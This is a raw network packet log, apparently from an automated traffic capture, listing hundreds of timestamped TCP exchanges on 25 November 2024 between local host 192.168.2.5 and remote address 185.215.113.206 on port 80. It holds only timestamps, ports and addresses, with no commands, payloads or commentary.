Nov 25, 2024 16:21:12.810745955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.810795069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.810830116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.810868025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.819171906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.819230080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.819231987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.819267988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.827181101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.827235937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.827264071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.827306032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.834081888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.834148884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.834170103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.834218979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.840667963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.840682983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.840733051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.862225056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.862288952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.862318993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.862364054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.865472078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.865518093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.865555048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.865598917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.872013092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.872059107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.874403954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.874452114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.874528885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.874567032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.880989075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.881083012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.881140947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.881198883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.887542009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.887622118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.887650013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.887689114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.891891003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.891942978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.892100096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.892143965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.895957947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.896013021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.896070957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.896107912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.900378942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.900424004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.900521994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.900563002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.904365063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.904421091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.904489994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.904536009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.908555984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.908601046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.908633947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.908678055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.912771940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.912826061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.912877083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.912929058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.916961908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.917015076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.917042017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.917078972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.920413971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.920466900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.920496941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.920552015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.924504042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.924559116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.924586058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.924623966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.928587914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.928666115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.928679943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.928719044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.992160082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.992187023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.992281914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.993915081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.993978024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.994038105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.994083881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.997879982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.997960091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.997996092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.998013020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.001597881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.001657963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.001694918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.001743078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.005490065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.005542040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.005610943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.005664110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.009269953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.009340048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.009381056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.009430885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.013096094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.013159037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.013256073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.013303995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.016953945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.017041922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.017062902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.017113924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.020919085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.020986080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.020998955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.021049023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.024544954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.024609089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.024624109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.024681091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.028455973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.028547049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.028554916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.028642893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.032215118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.032304049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.032341003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.032433987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.035475969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.035548925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.035589933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.035634041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.038819075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.038872004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.038881063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.038928032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.041920900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.041975975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.042020082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.042069912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.045089960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.045164108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.045187950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.045233965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.047518015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.047571898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.047645092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.047691107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.049771070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.049839020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.073563099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.073642015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.073641062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.073684931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.074373960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.074486017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.074517965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.074543953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.076632023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.076709986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.076729059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.076776981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.078704119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.078762054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.078799009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.078849077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.080852032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.080910921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.080960989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.081020117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.083108902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.083184004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.083308935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.083381891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.085190058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.085306883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.085325003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.085370064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.087379932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.087434053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.087456942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.087507963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.089514017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.089576960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.089613914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.089672089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.091650009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.091707945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.091758013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.091809988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.093835115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.093903065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.093933105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.093987942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.096164942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.096229076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.096266031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.096314907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.098164082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.098221064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.098258972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.098310947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.100308895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.100366116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.100400925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.100450993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.102654934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.102711916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.102763891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.102818012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.104625940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.104672909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.104804993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.104845047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.106899977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.106956005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.106975079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.107026100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.108971119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.109028101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.109134912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.109181881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.111099958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.111156940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.111227036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.111284018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.113337040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.113349915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.113403082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.115425110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.115478039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.115541935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.115597010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.117611885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.117665052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.117702961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.117752075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.119750977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.119790077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.119798899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.119832993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.121992111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.122049093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.122087002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.122138023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.123281002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.123328924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.123372078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.123421907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.125438929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.125495911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.125914097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.125969887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.127629042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.127686024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.127693892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.127743959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.129777908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.129836082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.129911900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.129971027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.144990921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.145039082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.145096064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.145164967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.145730019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.145817041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.145848036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.145935059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.204025984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.204072952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.204130888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.204163074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.205077887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.205127001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.205156088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.205199957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.207377911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.207425117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.207443953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.207463980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.209367990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.209436893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.209445000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.209479094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.211576939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.211590052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.211627007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.211638927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.213781118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.213812113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.213864088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.215928078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.215986967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.216006041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.216054916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.217997074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.218044043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.218153000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.218199015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.220086098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.220134020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.220185041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.220235109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.222147942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.222196102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.222284079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.222342968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.224112034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.224159956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.224237919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.224282026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.226161003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.226207972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.226253986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.226296902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.228202105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.228249073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.228329897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.228377104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.230237007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.230284929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.230360985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.230407000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.232239008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.232294083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.232358932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.232405901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.234261036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.234318972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.234383106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.234427929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.236566067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.236613989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.236619949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.236660957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.238163948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.238212109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:13.238286972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:13.238336086 CET	49704	80	192.168.2.5	185.215.113.206
